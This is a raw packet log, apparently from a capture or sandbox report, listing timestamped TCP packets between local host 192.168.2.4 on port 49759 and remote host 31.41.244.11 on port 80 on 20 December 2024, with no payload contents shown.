Dec 20, 2024 09:12:11.878398895 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.878467083 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.878516912 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.879374981 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.879435062 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.879467010 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.879525900 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.880388021 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.880440950 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.880441904 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.880491972 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.881305933 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.881361008 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.881684065 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.881733894 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.882349968 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.882385969 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.882400036 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.882432938 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.883274078 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.883338928 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.883405924 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.883456945 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.884282112 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.884330988 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.884387016 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.884440899 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.885247946 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.885301113 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.885338068 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.885390043 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.886235952 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.886291027 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.886379957 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.886432886 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.887237072 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.887295961 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.887362957 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.887420893 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.888202906 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.888252974 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.888324976 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.888375044 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.889214993 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.889276028 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.889322042 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.889370918 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.890158892 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.890208006 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.890294075 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.890356064 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.891153097 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.891201973 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.891273975 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.891338110 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.892132044 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.892182112 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.892254114 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.892302036 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.893143892 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.893193007 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.893199921 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.893253088 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.894093990 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.894150019 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.894222021 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.894270897 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.895093918 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.895148039 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.895235062 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.895289898 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.896078110 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.896127939 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.896177053 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.896228075 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.897068024 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.897124052 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.897190094 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.897242069 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.898107052 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.898201942 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.898205042 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.898255110 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.899032116 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.899081945 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.899137020 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.899187088 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.900011063 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.900070906 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.900135994 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.900186062 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.901029110 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.901083946 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.901135921 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.901187897 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.901988029 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.902036905 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.902044058 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.902091980 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.902977943 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.903028011 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.903101921 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.903152943 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.903969049 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.904016018 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.904069901 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.904119015 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.904931068 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.904984951 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.904984951 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.905035973 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.905922890 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.905975103 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.906013012 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.906061888 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.906924963 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.906975985 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.907181025 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.907238007 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.907891035 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.907949924 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.908042908 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.908092976 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.908894062 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.908943892 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.909014940 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.909063101 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.909852028 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.909899950 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.909986973 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.910036087 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.910852909 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.910902977 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.910952091 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.911015987 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.911820889 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.911865950 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.911952972 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.912000895 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.912854910 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.912909985 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.912983894 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.913036108 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.913820982 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.913881063 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.913966894 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.914024115 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.914876938 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.914928913 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.914930105 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.914978981 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.915792942 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.915839911 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.915932894 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.915990114 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.916739941 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.916800976 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.916821957 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.916872978 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.917733908 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.917792082 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.917866945 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.917917967 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.918721914 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.918821096 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.918821096 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.918869972 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.919728041 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.919785976 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.919939041 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.920001030 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.920675993 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.920737028 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.920800924 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.920850992 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.921679974 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.921727896 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.921818972 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.921870947 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:11.922585964 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:11.922633886 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.063615084 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.063657045 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.063796043 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.063988924 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.064055920 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.064086914 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.064137936 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.064999104 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.065049887 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.065138102 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.065187931 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.065993071 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.066055059 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.066128016 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.066176891 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.066962957 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.067014933 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.067085028 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.067137957 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.068000078 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.068069935 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.068072081 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.068140984 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.068942070 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.068994045 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.069065094 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.069112062 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.069914103 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.069969893 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.070003986 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.070053101 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.070889950 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.070938110 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.071012020 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.071059942 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.071876049 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.071924925 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.072014093 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.072063923 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.072891951 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.072937965 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.072974920 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.073024035 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.073824883 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.073921919 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.073924065 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.073976040 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.074944973 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.074994087 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.074999094 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.075051069 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.075798988 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.075848103 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.075921059 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.075968981 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.076805115 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.076860905 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.076914072 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.076962948 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.077794075 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.077857018 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.077912092 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.077960014 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.078794956 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.078854084 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.078885078 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.078943968 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.079771996 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.079824924 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.079824924 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.079876900 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.080746889 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.080815077 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.080884933 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.080934048 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.081716061 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.081764936 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.081836939 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.081886053 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.082689047 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.082737923 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.082808971 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.082860947 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.083700895 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.083751917 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.083801985 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.083848000 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.084647894 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.084705114 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.084791899 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.084841967 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.085685015 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.085737944 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.085738897 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.085786104 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.086627007 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.086677074 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.086751938 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.086806059 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.087640047 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.087692022 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.087791920 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.087840080 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.088589907 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.088648081 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.088718891 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.088772058 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.089597940 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.089651108 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.089883089 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.089936018 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.090595961 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.090646029 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.090672970 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.090719938 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.091592073 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.091640949 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.091759920 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.091809034 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.092535973 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.092590094 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.092660904 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.092710972 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.093521118 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.093570948 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.093657970 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.093707085 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.094532013 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.094579935 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.094651937 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.094701052 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.095525980 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.095578909 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.095643997 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.095691919 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.096492052 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.096568108 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.096570969 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.096616983 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.097491980 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.097542048 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.097599983 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.097649097 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.098465919 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.098519087 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.098524094 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.098575115 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.099447012 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.099495888 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.099571943 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.099622965 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.100408077 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.100459099 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.100543976 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.100591898 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.101458073 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.101504087 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.101511002 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.101558924 CET	49759	80	192.168.2.4	31.41.244.11
